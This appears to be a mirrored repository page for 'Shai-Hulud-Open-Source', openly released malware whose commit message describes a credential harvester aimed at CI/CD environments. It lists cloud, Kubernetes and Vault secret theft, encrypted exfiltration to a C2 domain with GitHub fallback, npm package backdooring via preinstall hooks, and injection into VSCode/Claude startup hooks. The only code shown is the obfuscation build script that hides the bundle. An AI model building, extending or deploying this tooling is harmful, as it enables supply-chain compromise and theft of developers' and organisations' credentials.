mirror of
https://github.com/edxeth/Shai-Hulud-Open-Source
synced 2026-06-14 08:40:01 +00:00
TeamPCP_OSS
efaf360d05
Full release of the multi-provider credential harvester targeting CI/CD environments. Includes eight credential providers (filesystem, shell, GitHub Actions runner, AWS SSM, AWS Secrets Manager, AWS STS, Kubernetes, HashiCorp Vault) with regex-based pattern matching across 20+ credential types. Data is encrypted with AES-256-GCM + RSA-OAEP and exfiltrated via a priority-ordered sender chain (HTTPS C2 domain fallbacking to public GitHub repository commits with dead-man-switch persistence). Three supply-chain mutators included: npm OIDC token exchange for OpenSearch-js, npm token-based package backdooring with preinstall hooks, and GitHub branch injection targeting VSCode/Claude startup hooks. Build pipeline with string obfuscation, log stripping, and JavaScript control-flow flattening.
12 lines
355 B
JavaScript
12 lines
355 B
JavaScript
import JavaScriptObfuscator from "javascript-obfuscator";
|
|
|
|
const code = await Bun.file("./dist/bundle.js").text();
|
|
const obfuscated = JavaScriptObfuscator.obfuscate(code, {
|
|
compact: true,
|
|
controlFlowFlattening: true,
|
|
stringArray: true,
|
|
stringArrayEncoding: ["base64"],
|
|
}).getObfuscatedCode();
|
|
|
|
await Bun.write("./dist/bundle_obf.js", obfuscated);
|